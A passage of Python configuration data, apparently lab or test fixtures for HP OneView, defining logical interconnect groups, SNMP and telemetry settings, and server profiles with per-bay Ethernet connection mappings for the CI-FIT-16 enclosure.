{'bay': 8, 'type': 'HP VC Flex-10/10D Module'}, ], 'uplinkSets': [uplink_sets['IC'], # uplink_sets['SAN-1-1-DA'], # uplink_sets['SAN-1-2-DA'], # uplink_sets['SAN-1-3-DA'], # uplink_sets['SAN-1-4-DA'], # uplink_sets['SAN-2-1-DA'], # uplink_sets['SAN-2-2-DA'], # uplink_sets['SAN-2-3-DA'], # uplink_sets['SAN-2-4-DA'], # uplink_sets['SAN-3-1-DA'], # uplink_sets['SAN-3-2-DA'], # uplink_sets['SAN-3-3-DA'], # uplink_sets['SAN-3-4-DA'], # uplink_sets['SAN-4-1-DA'], # uplink_sets['SAN-4-2-DA'], # uplink_sets['SAN-4-3-DA'], # uplink_sets['SAN-4-4-DA'], # uplink_sets['SAN-5-1-DA'], # uplink_sets['SAN-5-2-DA'], # uplink_sets['SAN-5-3-DA'], # uplink_sets['SAN-5-4-DA'], # uplink_sets['SAN-6-1-DA'], # uplink_sets['SAN-6-2-DA'], # uplink_sets['SAN-6-3-DA'], # uplink_sets['SAN-6-4-DA'], # uplink_sets['SAN-7-1-DA'], # uplink_sets['SAN-7-2-DA'], # uplink_sets['SAN-7-3-DA'], # uplink_sets['SAN-7-4-DA'], # uplink_sets['SAN-8-1-DA'], # uplink_sets['SAN-8-2-DA'], # uplink_sets['SAN-8-3-DA'], # uplink_sets['SAN-8-4-DA'], # uplink_sets['BigPipe15-a'], uplink_sets['BigPipe16']], 'stackingMode': None, 'ethernetSettings': None, 'state': 'Active', 'telemetryConfiguration': None, 'snmpConfiguration': None}, {'name': 'LIG-FF-8FC20', 'type': 'logical-interconnect-groupV3', 'enclosureType': 'C7000', 'interconnectMapTemplate': [{'bay': 1, 'type': 'HP VC FlexFabric 10Gb/24-Port Module'}, {'bay': 2, 'type': 'HP VC FlexFabric 10Gb/24-Port Module'}, {'bay': 3, 'type': 'HP VC 8Gb 20-Port FC Module'}, {'bay': 4, 'type': 'HP VC 8Gb 20-Port FC Module'}, ], 'uplinkSets': [uplink_sets['IC'], uplink_sets['BigPipe17']], 'stackingMode': None, 'ethernetSettings': None, 'state': 'Active', 'telemetryConfiguration': None, 'snmpConfiguration': None}, ] telemetry = {'enableTelemetry': True, 'sampleInterval': 400, 'sampleCount': 20} trapDestinations = [{'trapSeverities': ['Major'], 'enetTrapCategories': ['Other'], 'fcTrapCategories': ['Other'], 'vcmTrapCategories': ['Legacy'], 'trapFormat': 'SNMPv1', 'trapDestination': '192.168.99.99', 'communityString': 'public'}] snmp = {'snmpAccess': ['192.168.1.0/24'], 'trapDestinations': trapDestinations} enet = {'enableFastMacCacheFailover': False} server_profiles = [{'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-16, bay 1', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-16', 'enclosureGroupUri': 'EG:F10D-F10D-F10D-F10D', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-16_Bay1-BL620cG7', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Lom 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Lom 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Lom 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Lom 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Lom 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Lom 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Lom 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 10, 'name': '10', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 11, 'name': '11', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 12, 'name': '12', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 13, 'name': '13', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 14, 'name': '14', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 15, 'name': '15', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 16, 'name': '16', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 17, 'name': '17', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 18, 'name': '18', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 19, 'name': '19', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 20, 'name': '20', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 21, 'name': '21', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 22, 'name': '22', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 23, 'name': '23', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 24, 'name': '24', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_9', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 25, 'name': '25', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_9', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 26, 'name': '26', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 27, 'name': '27', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 28, 'name': '28', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_10', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 29, 'name': '29', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_10', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 30, 'name': '30', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_11', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 31, 'name': '31', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_11', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-16, bay 2', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-16', 'enclosureGroupUri': 'EG:F10D-F10D-F10D-F10D', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-16_Bay2-BL685cG7', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Lom 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Lom 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3996', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Lom 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3996', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Lom 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_12', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Lom 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_12', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Lom 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_13', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Lom 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_13', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_14', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_14', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 10, 'name': '10', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3995', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 11, 'name': '11', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3995', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 12, 'name': '12', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_15', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 13, 'name': '13', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_15', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 14, 'name': '14', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_16', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 15, 'name': '15', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_16', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 16, 'name': '16', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_17', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 17, 'name': '17', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_17', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 18, 'name': '18', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3994', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 19, 'name': '19', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3994', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 20, 'name': '20', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_18', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 21, 'name': '21', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_18', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 22, 'name': '22', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_19', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 23, 'name': '23', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_19', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 24, 'name': '24', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_20', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 25, 'name': '25', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_20', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 26, 'name': '26', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 27, 'name': '27', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 28, 'name': '28', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_21', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 29, 'name': '29', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_21', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 30, 'name': '30', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_22', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 31, 'name': '31', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_22', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-16, bay 3', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-16', 'enclosureGroupUri': 'EG:F10D-F10D-F10D-F10D', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-16_Bay3-BL660cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3992', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3992', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_23', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_23', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_24', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_24', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_25', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_25', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 10, 'name': '10', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3991', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 11, 'name': '11', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3991', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 12, 'name': '12', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_26', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 13, 'name': '13', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_26', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 14, 'name': '14', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_27', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 15, 'name': '15', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_27', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 16, 'name': '16', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_28', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 17, 'name': '17', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_28', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 18, 'name': '18', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3990', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 19, 'name': '19', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3990', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 20, 'name': '20', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 21, 'name': '21', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 22, 'name': '22', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_30', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 23, 'name': '23', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_30', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 24, 'name': '24', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_31', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 25, 'name': '25', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_31', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 26, 'name': '26', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 27, 'name': '27', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 28, 'name': '28', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_32', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 29, 'name': '29', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_32', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 30, 'name': '30', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_33', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 31, 'name': '31', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_33', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-16, bay 4', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-16', 'enclosureGroupUri': 'EG:F10D-F10D-F10D-F10D', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-16_Bay4-BL660cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3988', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3988', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_34', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_34', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_35', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_35', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_36', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_36', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 10, 'name': '10', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-b', 'requestedMbps': '2500', 'networkUri': 